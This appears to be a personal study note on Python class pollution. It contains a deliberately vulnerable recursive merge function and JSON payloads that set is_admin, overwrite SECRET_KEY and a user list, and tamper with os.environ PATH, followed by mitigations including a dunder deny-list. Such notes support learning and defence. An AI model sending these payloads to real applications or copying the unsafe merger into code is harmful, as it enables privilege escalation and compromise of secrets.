🧠 Python - Class Pollution
What is it?
- Concept:
- It is a type of object injection. Has strong correlation with Javascript’s JavaScript - Prototype Pollution
- While Python does not have “prototypes” in the same way JavaScript does, it relies heavily on dunder (double underscore) magic methods and dictionaries to manage object attributes. If an application uses an insecure, recursive merge function to update objects with user-controlled input, an attacker can traverse up the object hierarchy.
- Impact: By polluting specific attributes, attackers can overwrite configuration settings, hijack application logic, alter user roles, or achieve Remote Code Execution (RCE).
How it works
The core vulnerability usually lies in a custom merge(src, dst) or update(obj, data) function that blindly uses getattr(), setattr(), or __getitem__ to recursively apply dictionary updates.
Example Code:
class Employee: pass # Creating an empty class
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
emp = Employee()
print(vars(emp))
merge(emp_info, emp)
print(vars(emp))
print(f'Name: {emp.name}, age: {emp.age}, manager name: {emp.manager.get("name")}')
#> {}
#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
#> Name: Ahemd, age: 23, manager name: SarahTo exploit this, attackers leverage Python’s object introspection to escape the local scope and access the global namespace of the module where the target function was defined.
The classic traversal path looks like this:
__class__: Points from the current object to its class definition.__init__: Accesses the class’s default constructor function.__globals__: A reference to the dictionary that holds the global variables of the module in which the function was defined.
Exploitation
Attack Vectors
Keep in mind that Python Class Pollution is highly context-dependent. Unlike some web vulnerabilities where you can spray a generic payload, these payloads require you to perform gadget hunting—you must know (or guess) the internal variable names, imported modules, and class structures of the specific application you are targeting.
- Class Attribute Pollution
class User:
username = Something
password = Something
is_admin = False
...
# payload:
{ "__class__": { "is_admin": true } }- Overwriting Secret
{
"__class__": {
"__init__": {
"__globals__": {
"SECRET_KEY": "my_known_secret_key"
}
}
}
}- Overwriting List
{
"__class__": {
"__init__": {
"__globals__": {
"USERS": [
{"username": "lean@tornado-service.htb", "password": "123"}
]
}
}
}
}- Remote Code Execution
import os
...
{
"__class__": {
"__init__": {
"__globals__": {
"os": {
"environ": {
"data": {
"PATH" : "/tmp/malicious_binary"
}
}
}
}
}
}
}Mitigation
- Deny-listing: Implement strict filters against magic methods (e.g.,
__class__,__init__,__globals__,__base__,__mro__) within any recursive update or merge function. - Strict Schema Validation: Define exact schemas for expected input and reject any payload containing unexpected or undefined keys.
- Avoid Custom Mergers: Rely on established, secure serialization/deserialization libraries rather than writing custom recursive dictionary mergers.
Related Usage
TABLE creation_date AS "Created"
FROM "05 - Content"
WHERE contains(techniques, this.file.link) AND contains(tags, "🚩")
SORT file.name ASCReferences: Python Class Pollution Blog